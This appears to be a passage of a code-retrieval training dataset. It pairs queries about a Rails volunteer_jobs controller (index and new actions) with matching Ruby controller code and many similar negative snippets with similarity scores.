query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
|---|---|---|---|---|---|---|
GET /volunteer_jobs/1 GET /volunteer_jobs/1.json
|
def show
@volunteer_job = VolunteerJob.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @volunteer_job }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @volunteer_jobs = VolunteerJob.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @volunteer_jobs }\n end\n end",
"def new\n @volunteer_job = VolunteerJob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @volunteer_job }\n end\n end",
"def index\n @jobs = current_user.jobs\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def show\n @job = @user.jobs.find_by_id!(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def index\n \n @meeting_threads = @current_user.available_jobs\n \n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @meeting_threads }\n end\n end",
"def index\n @jobs = Job.all\n\n render json: @jobs\n end",
"def show\n @job = @user.jobs.find_by_id!(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render_for_api :checkins_with_job, json: @job, root: :job }\n end\n end",
"def index\n @jobs = Job.all\n render json: @jobs\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @launched_job }\n end\n end",
"def show\n render json: @job\n end",
"def show\n render json: @job\n end",
"def index \n @jobs = Job.all.find_all{ |job| job.user_id == current_user.user_id }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = @user.jobs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = @user.jobs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @employing_unit = EmployingUnit.find(params[:id])\n @job=Job.new\n @jobs=@employing_unit.jobs\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @employing_unit }\n end\n end",
"def index\n @job_items = @job.job_items.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @job_items }\n end\n end",
"def index\n self.limit\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def show\n @job_item = @job.job_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_item }\n end\n end",
"def index\n @jobs = Job.paginate(page: params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def index\n #@jobs = Job.all\n @jobs = Job.all(:order => 'updated_at DESC')\n #@jobs = @user.jobs.all(:order => 'updated_at DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def show\n @job_title = JobTitle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_title }\n end\n end",
"def create\n @volunteer_job = VolunteerJob.new(params[:volunteer_job])\n\n respond_to do |format|\n if @volunteer_job.save\n format.html { redirect_to @volunteer_job, notice: 'Volunteer job was successfully created.' }\n format.json { render json: @volunteer_job, status: :created, location: @volunteer_job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @volunteer_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @jobber = Jobber.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @jobber }\n end\n end",
"def show\n @user = User.find(params[:id])\n @jobs = @user.jobs\n end",
"def destroy\n @volunteer_job = VolunteerJob.find(params[:id])\n @volunteer_job.destroy\n\n respond_to do |format|\n format.html { redirect_to volunteer_jobs_url }\n format.json { head :ok }\n end\n end",
"def listjobs(project=self.project)\n get('listjobs.json', project: project).reject{|k,v| k=='status'}\n end",
"def get_single_job_sample(client)\n response = client[\"jobs/#{$job_id}\"].get\n\n p ''\n p 'Get single job'\n p response\nend",
"def show\n user = User.find(params[:id])\n # render json: {status: 'SUCCESS', message: 'Loaded jobs For user', data:user['id']},status: :ok\n\n if user && user['role'] == 'jobSeeker'\n userId = user['id']\n jobs = Applied.find_by(user_id: params[:id])\n jobname = Job.find(jobs[\"job_id\"])\n render json: {status: 'SUCCESS', message: 'Job for user', data:jobname},status: :ok\n\n else\n render json: {status: 'Error', message: 'Can not find jobs for user', data:jobs.error},status: :unprocessable_entity\n end\n end",
"def list_jobs(json_payload={})\n conn = @client.get do |req|\n req.url '/api/v2/job/list?'\n req.headers[\"Authorization\"] = @token\n req.params = json_payload\n end\n conn.body\n end",
"def job\n fetch('games.final_fantasy_xiv.jobs')\n end",
"def show\n @emp_job = EmpJob.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @emp_job }\n end\n end",
"def index\n render json: {:jobs => Job.where('branch_id = ?', current_user.branch_id).order(id: :desc),\n :branch_id => current_user.branch_id }\n end",
"def show\n @job_compact = JobCompact.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_compact }\n end\n end",
"def index\n @training_active_jobs = Training::ActiveJob.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @training_active_jobs }\n end\n end",
"def show\n @volunteer_task = VolunteerTask.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @volunteer_task }\n end\n end",
"def get_job_status id\n response = get \"http://#{@host}/loadbalancers/tenant/#{@tenant}/jobs/#{id}\"\n raise LBModelException.new \"Expected HTTP 200 but got #{response.code} instead\" unless response.code == 200\n\n JSON.parse(response)\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.haml\n format.json {\n render :json => @job,\n :methods => [:status_name, :percentage, :total, :completed, :error, :ended?]\n }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @training_active_job = Training::ActiveJob.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @training_active_job }\n end\n end",
"def new\n @jobs = Job.new(params[:accepted_jobs])\n\n @jobs.user_id = current_user.id\n\n pp @jobs\n\n # respond_to do |format|\n # if @jobs.save\n # format.html { redirect_to home_path, notice: 'Request was successfully created.' }\n # format.json { render json: @jobs, status: :created, location: home_path }\n # else\n # format.html { render action: \"new\" }\n # format.json { render json: @jobs.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def index\n @volunteers = Volunteer.order(:name).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @name }\n end\n end",
"def index\n jobs = Job.all.map do |job|\n { title: job.title, timerange: job.timerange }\n end\n \n render json: { results: jobs }.to_json, status: :ok\n end",
"def get_jobs_sample(client)\n response = client['jobs'].get\n\n p ''\n p 'Get jobs'\n p response\nend",
"def show\n @saved_jobs = SavedJob.where(:user_id => current_user.id).order(\"created_at DESC\")\n\n @saved_job = SavedJob.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @saved_job }\n end\n end",
"def jobfamily\n @jobfamilies = @company.jobfamilies\n respond_to do |format|\n format.json { render json: @jobfamilies}\n end\n end",
"def show\n @device = Device.find(params[:device_id])\n @job = @device.jobs.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job_folio = JobFolio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_folio }\n end\n end",
"def show\n respond_with Job.find(params[:id])\n end",
"def show\n @job = Job.find_by_job_number(params[:id])\n if @job.present? and allowed_to_see?(@job)\n @job = Job.find_by_job_number(params[:id])\n @clients = Client.find(:all)\n @mailshops = Mailshop.find(:all)\n @versions = @job.versions\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @job.to_xml }\n format.json { render :json => @job }\n end\n end\n end",
"def show\n @medium_specie_job_inv = MediumSpecieJobInv.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @medium_specie_job_inv }\n end\n end",
"def show\n @volunteer = Volunteer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @volunteer }\n end\n end",
"def show\n @photo_job = PhotoJob.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @photo_job }\n end\n end",
"def fetch_job\n JSON.parse(RestClient.get(url).body)\n end",
"def show\n @job_notification = JobNotification.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_notification }\n end\n end",
"def jobs\n\t\t@jobs = Job.where(user_id: @company.user_id)\n\t\trespond_to do |format|\n\t\t\tformat.js\n\t\tend\n\tend",
"def list_jobs\n jobs = if unsafe_params[:editable]\n Job.editable_by(@context).accessible_by_private\n else\n Job.accessible_by(@context)\n end\n\n if unsafe_params[:scopes].present?\n check_scope!\n jobs = jobs.where(scope: unsafe_params[:scopes])\n end\n\n if unsafe_params[:space_uid].present?\n jobs = jobs.terminal\n end\n\n result = jobs.eager_load(user: :org).order(id: :desc).map do |job|\n describe_for_api(job, unsafe_params[:describe])\n end\n\n render json: result\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def index\n @job = Job.filter(params.slice(:sector_id, :category_id, :job_title)).order('created_at desc')\n render json: @job\n end",
"def index\n @jobtimes = current_company.jobtimes.find_all_by_job_id(params[:job_id])\n respond_to do |format|\n format.xml {render :xml => @jobtimes }\n format.json { render :json => @jobtimes }\n end\n end",
"def show\n #@job_application = JobApplication.find(params[:id])\n\n #@user = User.find(params[:id])\n @job_application = current_user.job_applications #.page(params[:page]).per_page(10)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_application }\n end\n end",
"def new\n @vacancy = Vacancy.find_by_id(params[:vacancy_id])\n @job_application = JobApplication.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_application }\n end\n end",
"def update\n @volunteer_job = VolunteerJob.find(params[:id])\n\n respond_to do |format|\n if @volunteer_job.update_attributes(params[:volunteer_job])\n format.html { redirect_to @volunteer_job, notice: 'Volunteer job was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @volunteer_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @location = Location.find(params[:id])\n @jobs = @location.jobs\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"def get_job_info(page)\n job_api = \"#{BASE_URL}/v4/projects/#{PROJECT_ID}/jobs?page=#{page}&per_page=#{PER_PAGE}\"\n begin\n response = RestClient::Request.new(\n :method => :get,\n :url => job_api,\n :verify_ssl => false,\n :headers => {\"PRIVATE-TOKEN\" => API_TOKEN}\n ).execute\n\n response.headers\n\n rescue RestClient::ExceptionWithResponse => err\n puts \"jobs info error: #{err.response}\"\n return nil\n end\nend",
"def index\n #@jobs = Job.all\n smart_listing_create :jobs, current_user.employer.jobs, partial: \"partials/bidding_job_listing\"\n end",
"def index\n @jobs = Job.paginate :page => params[:page], :order => 'created_at DESC', :per_page =>10\n @job = Job.find(:last)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jobs }\n format.json { render :json => @jobs }\n end\n end",
"def index\n @jobs = Job.all\n end",
"def index\n @jobs = Job.all\n end",
"def index\n @jobs = Job.all\n end",
"def index\n @jobs = Job.all\n end",
"def index\n @jobs = Job.all\n end",
"def index\n @jobs = Job.all\n end",
"def new\n @device = Device.find(params[:device_id]) \n @job = @device.jobs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def index\n @jobs = current_user.works\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job }\n format.json { render :json => @job }\n end\n end",
"def show\n @job_category = JobCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_category }\n end\n end",
"def show\n @job = Job.find(params[:id])\n end",
"def show\n @job = Job.find(params[:id])\n end",
"def job(id, options = {})\n objectify get(\"/job/#{id}\", options)['joblist']['job']\n end",
"def show\n # @applicant_job_history = ApplicantJobHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @applicant_job_history }\n end\n end",
"def index\n @job_folios = JobFolio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @job_folios }\n end\n end",
"def show\n @jobtype = Jobtype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render_json @jobtype }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: LaunchedJobDatatable.new(view_context, min_start_date: params[:min_start_date]) }\n end\n end",
"def index\n @jobs = PeriodicJob.list params[:page], current_user.row_limit\n end",
"def public_api_get_jobs(modified, api_key, opts = {})\n data, _status_code, _headers = public_api_get_jobs_with_http_info(modified, api_key, opts)\n return data\n end",
"def show\n @sfjob = Sfjob.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sfjob }\n end\n end",
"def index\n @pricings = @job.pricings\n end",
"def get_job(uuid, username, password)\n jobs = get_json('jobs.json', username, password)\n job = jobs['jobs'].find { |j| j['uuid'] == uuid }\n\n if job['jobURL']\n job.merge!(get_json(job['jobURL'], username, password, ''))\n end\n\n fail \"Could not find job with UUID=#{uuid}\" unless job\n job\nend",
"def show\n @jobsearch = Jobsearch.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @jobsearch }\n end\n end",
"def show\n @job_offer = JobOffer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_offer }\n end\n end",
"def get_job_templates\n dprint \"get /api/v1/job_templates\"\n resp = @rest['/api/v1/job_templates'].get\n dprint resp\n # ruby's implicit return\n JSON.parse(resp)[\"results\"]\n end",
"def find_job(job_id)\n response = HTTParty.get(\"#{@host}/api/jobs/#{job_id}\")\n\n return response['job']\n end"
] |
[
"0.76611525",
"0.69956744",
"0.6941505",
"0.68474334",
"0.68314624",
"0.66359216",
"0.66268396",
"0.6617462",
"0.6593418",
"0.65677124",
"0.65677124",
"0.65474856",
"0.6513014",
"0.6513014",
"0.6513014",
"0.6513014",
"0.6513014",
"0.6486095",
"0.6486095",
"0.64708775",
"0.64413685",
"0.63955075",
"0.63401234",
"0.6328798",
"0.63287544",
"0.6303847",
"0.62933695",
"0.6282236",
"0.62742585",
"0.6268305",
"0.62511826",
"0.62226325",
"0.6220648",
"0.6213684",
"0.62083435",
"0.6207691",
"0.61983955",
"0.6172775",
"0.6167731",
"0.6160457",
"0.61568356",
"0.61487556",
"0.6140825",
"0.6137368",
"0.6100255",
"0.60812885",
"0.6068046",
"0.60630524",
"0.6058381",
"0.6038662",
"0.6038082",
"0.60364574",
"0.6033567",
"0.5996143",
"0.5995239",
"0.5989767",
"0.59856176",
"0.5973079",
"0.5970074",
"0.596629",
"0.59633577",
"0.59565485",
"0.59565485",
"0.59565485",
"0.59565485",
"0.595424",
"0.5953384",
"0.5953379",
"0.59492344",
"0.5940394",
"0.59248966",
"0.592072",
"0.59144104",
"0.59135747",
"0.5893915",
"0.5893915",
"0.5893915",
"0.5893915",
"0.5893915",
"0.5893915",
"0.5877312",
"0.58677924",
"0.586653",
"0.58647686",
"0.58611786",
"0.58611786",
"0.5858636",
"0.5856934",
"0.58552986",
"0.5854436",
"0.5850455",
"0.584902",
"0.5846546",
"0.58463264",
"0.5840942",
"0.58402574",
"0.58356243",
"0.5833901",
"0.5830004",
"0.5822987"
] |
0.7560687
|
1
|
GET /volunteer_jobs/new GET /volunteer_jobs/new.json
|
def new
@volunteer_job = VolunteerJob.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @volunteer_job }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @job = @user.jobs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = @user.jobs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def create\n @volunteer_job = VolunteerJob.new(params[:volunteer_job])\n\n respond_to do |format|\n if @volunteer_job.save\n format.html { redirect_to @volunteer_job, notice: 'Volunteer job was successfully created.' }\n format.json { render json: @volunteer_job, status: :created, location: @volunteer_job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @volunteer_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n\t\t@job = Job.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render json: @job }\n\t\tend\n\tend",
"def new\n @job_title = JobTitle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_title }\n end\n end",
"def new\n @jobtype = Jobtype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render_json @jobtype }\n end\n end",
"def new\n @jobs = Job.new(params[:accepted_jobs])\n\n @jobs.user_id = current_user.id\n\n pp @jobs\n\n # respond_to do |format|\n # if @jobs.save\n # format.html { redirect_to home_path, notice: 'Request was successfully created.' }\n # format.json { render json: @jobs, status: :created, location: home_path }\n # else\n # format.html { render action: \"new\" }\n # format.json { render json: @jobs.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def new\n @volunteer_task = VolunteerTask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @volunteer_task }\n end\n end",
"def new\n @volunteer = Volunteer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @volunteer }\n end\n end",
"def new\n @vacancy = Vacancy.find_by_id(params[:vacancy_id])\n @job_application = JobApplication.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_application }\n end\n end",
"def new\n @job_list = JobList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_list }\n end\n end",
"def new\n @emp_job = EmpJob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @emp_job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n format.json { render :json => @job }\n end\n end",
"def new\n @construction_job = Construction::Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @construction_job }\n end\n end",
"def new\n @job_folio = JobFolio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_folio }\n end\n end",
"def new\n @saved_job = SavedJob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @saved_job }\n end\n end",
"def new\n @jobber = Jobber.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @jobber }\n end\n end",
"def new\n @job_notification = JobNotification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_notification }\n end\n end",
"def new\n @job_category = JobCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_category }\n end\n end",
"def new\n @title = t('view.print_job_types.new_title')\n @print_job_type = PrintJobType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @print_job_type }\n end\n end",
"def new\n @sfjob = Sfjob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sfjob }\n end\n end",
"def new\n @job_compact = JobCompact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_compact }\n end\n end",
"def new\n @job = current_user.jobs.new\n end",
"def new\n createJobWithDefaults\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @photo_job = PhotoJob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @photo_job }\n end\n end",
"def new\n @training_active_job = Training::ActiveJob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @training_active_job }\n end\n end",
"def new\n @job_item = @job.job_items.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_item }\n end\n end",
"def new\n @job = Job.new_default(params[:job])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def create\n job = Job.create(job_params)\n render json: job\n end",
"def new\n @device = Device.find(params[:device_id]) \n @job = @device.jobs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = current_company.jobs.build(params[:job])\n respond_to do |format|\n if @job.save\n format.html { redirect_to root_path, notice: 'Vaga criada com sucesso' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @jobsearch = Jobsearch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @jobsearch }\n end\n end",
"def create\n @job = @user.jobs.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to :dashboard, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to root_path, notice: 'Job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job }\n else\n format.html { render action: 'new' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n if params[:id].nil?\n redirect_to \"/\", :alert=>\"You need to apply through a job\"\n return\n end\n\n @job = Job.find(params[:id])\n @company = @job.company.name\n @title = @job.title\n\n @application = Application.new\n\n respond_to do |format|\n format.html# new.html.erb\n format.json { render json: @application }\n end\n end",
"def create\n @job = Vger::Resources::Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to company_job(:company_id => params[:company_id], :id => @job.id), notice: 'Job was successfully created.' }\n else\n format.html { render action: \"new\" }\n end\n end\n end",
"def new\n @new_job = Job.new\n # Authorizes the correct user to access new job page\n authorize @new_job\n end",
"def create\n #@job = Job.new(params[:job])\n @job = current_user.jobs.new(params[:job])\n \n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to mentor_job_path(@job), notice: 'Job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job }\n else\n format.html { render action: 'new' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n #@job = Job.new\n if current_user.role == true\n @job = current_user.jobs.new\n else\n flash[:error] = \"You must be a sensei to do that. Re-chose your path by editing your profile.\"\n redirect_to root_path\n end\n\n #respond_to do |format|\n # format.html # new.html.erb\n # format.json { render json: @job }\n #end\n end",
"def new\n @job_offer = JobOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_offer }\n end\n end",
"def new\n @medium_specie_job_inv = MediumSpecieJobInv.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @medium_specie_job_inv }\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job }\n else\n format.html { render action: 'new' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = @user.jobs.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to :dashboard, notice: \"Job was successfully created.\" }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def create\n @job = Job.new(job_params)\n @job.user = current_user\n if @job.save\n render json: { redirect_url: job_url(@job), notice: \"Thanks for posting! Your job is now pending review.\" }\n else\n render json: @job.errors\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.js\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def create\n @launched_job = LaunchedJob.new(launched_job_params)\n\n respond_to do |format|\n if @launched_job.save\n format.html { redirect_to @launched_job, notice: 'Launched job was successfully created.' }\n format.json { render json: @launched_job, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @launched_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @job_assignment = @group.job_assignments.new\n @jobs = @group.jobs.order(\"title\")\n @users = @group.users.order(\"first_name\")\n\n if params[:job_id].present?\n @job = Job.find(params[:job_id])\n end\n\n if params[:user_id].present?\n @user = User.find(params[:user_id])\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_assignment }\n end\n end",
"def new\n # @applicant_job_history = ApplicantJobHistory.new(:applicant_id=>params[:applicant_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @applicant_job_history }\n end\n end",
"def create\n @job = current_user.jobs.new( job_params )\n\n if @job.save\n redirect_to @job, notice: 'Job created.'\n else\n render :new\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = current_user.jobs.build(params[:job])\n if @job.save\n flash[:success] = \"Job Added!\"\n redirect_to root_url\n else\n render 'new'\n end\n\n end",
"def new\r\n @stages_work = StagesWork.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @stages_work }\r\n end\r\n end",
"def new\n @job = Job.new\n @locations = Location.find(:all, :conditions=>['user_id=?',current_user.id])\n @job.locations.build # Creating task_location in Memory so that our Form has something to work with when dealing with Task Locations.\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
